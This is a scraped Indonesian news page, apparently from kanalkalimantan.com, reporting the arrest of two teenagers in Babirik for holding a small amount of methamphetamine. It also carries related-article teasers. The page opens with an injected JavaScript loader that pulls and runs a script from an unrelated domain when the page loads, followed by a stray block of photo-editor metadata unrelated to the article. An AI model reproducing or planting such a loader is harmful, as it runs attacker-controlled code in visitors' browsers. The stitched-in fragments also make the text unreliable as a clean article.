(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"effects_tried":0,"photos_added":0,"origin":"unknown","total_effects_actions":0,"remix_data":[],"tools_used":{"tilt_shift":0,"resize":0,"adjust":0,"curves":0,"motion":0,"perspective":0,"clone":0,"crop":0,"enhance":0,"selection":0,"free_crop":0,"flip_rotate":0,"shape_crop":0,"stretch":0},"total_draw_actions":0,"total_editor_actions":{"border":0,"frame":0,"mask":0,"lensflare":0,"clipart":0,"text":0,"square_fit":0,"shape_mask":0,"callout":0},"source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1570695320660","total_editor_time":0,"total_draw_time":0,"effects_applied":0,"uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1570695306792","total_effects_time":0,"brushes_used":0,"height":2730,"layers_used":0,"width":4096,"subsource":"done_button"}
AMUNTAI, Dua remaja ini, Pani (18) dan Junaidi (19) belum sempat menikmati narkotika jenis sabu yang dibelinya, eh..keburu didicuk polisi.
Kedua remaja yang diketahui merupakan warga Desa Teluk Labak RT 04 Kecamatan Daha Utara, Kabupaten Hulu Sungai Selatan (HSS) ini, tak berkutik ketika keduanya tertangkap tangan menyimpan sabu.
Kasat Resnarkoba Polres HSU Iptu Taufik Suhardiman, kepada kanalkalimantan.com, Kamis (10/10) membenarkan penangkapan kedua pemuda ini melalui anggota Polsek Babirik.
Dari informasi, penangkapan kedua tersangka ini terjadi pada hari Rabu tanggal (9/10) petang sekitar pukul 17.35 Wita di sebuah gang Desa Babirik Hilir, Kecamatan Babirik, Kabupaten Hulu Sungai Utara.
Anggota Polsek Babirik yang menerima laporan warga mengintai gerak gerik tersangka dan langsung melakukan penangkapan terhadap kedua pelaku.
Dalam penangkapan tersebut ditemukan barang bukti berupa 2 paket plastik yang di dalamnya berisi 0,21 gram, ditambah dengan 1 buah handphone dan 1 unit sepeda motor Yamaha Mio Soul GT sebagai barang bukti.
Kepada polisi kedua tersangka mengaku barang haram tersebut rencananya akan dikonsumsi sendiri.
“Mereka mau memakai sendiri, saat ini masih dalam interogasi, adapun sabu tersebut mereka pesan via telpon dan saat ini masih dikembangkan,” jelas Iptu Taufik Suhardiman.
Usai dilakukan penangkapan selanjutnya kedua tersangka dan barang bukti digiring ke Polsek Babirik guna proses lebih lanjut.
Kedua tersangka Sendiri bakal dijerat pasal 114 ayat (1) dan atau Pasal 112 ayat (1) UU nomor 35 tahun 2009 tentang Narkotika, terkait dalam hal perbuatan menawarkan untuk dijual, menjual, membeli, menjadi perantara dalam jual beli, menukar,menawarkan atau menerima narkotika golongan I dalam bentuk bukan tanaman dan atau Dalam hal perbuatan memiliki, menyimpan, menguasai atau menyediakan narkotika golongan I bukan tanaman. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.